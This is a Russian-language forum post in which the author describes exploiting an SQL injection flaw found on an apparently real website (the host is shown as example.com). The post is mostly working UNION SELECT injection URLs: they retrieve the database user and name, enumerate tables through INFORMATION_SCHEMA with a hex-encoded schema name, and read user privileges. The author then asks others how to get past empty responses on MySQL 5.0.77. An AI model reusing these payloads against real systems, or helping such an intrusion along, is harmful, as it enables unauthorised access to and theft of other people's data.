Всем привет!
Обнаружилась на одном ресурсе уязвимость. Проведя SQL injection удалось с помощью функций MySQL
user() и
database() узнать, соответственно, имя пользователя и базы в СУБД:
Код:
http://example.com/detail.php?id=-1+UNION+SELECT+1,user(),3,4,5+--+
Код:
http://example.com/detail.php?id=-1+UNION+SELECT+1,database(),3,4,5+--+
Далее, используя переведенное в hex полученное имя БД, я предпринял попытку выудить имена таблиц запросом к
INFORMATION_SCHEMA:
Код:
http://example.com/detail.php?id=-1+UNION+SELECT+1,table_name,3,4,5+from+information_schema.tables+where+table_schema=0x643630363138313039+--+
Ничто не предвещало сложностей, но результат я так и не получил. Любые запросы к базе с метаданными сопровождаются непонятной длительной загрузкой данных с сервера и успешной (код 200) выдачей пустой HTML-страницы.
Доступ к
INFORMATION_SCHEMA есть - отработал запрос
Код:
http://example.com/detail.php?id=-1+UNION+SELECT+1,GRANTEE,3,4,5+FROM+INFORMATION_SC HEMA.USER_PRIVILEGES+--+[/u]
и выдал мне идентификатор пользователя.
Пробовал указывать
LIMIT 1 - результат тот же.
Кстати, хотел посмотреть
COUNT(*) - то же самое.
Версия MySQL-сервера
5.0.77-log.
Кто сталкивался с подобным? Какие будут советы? Рекомендации?
Спасибо за любые подсказки!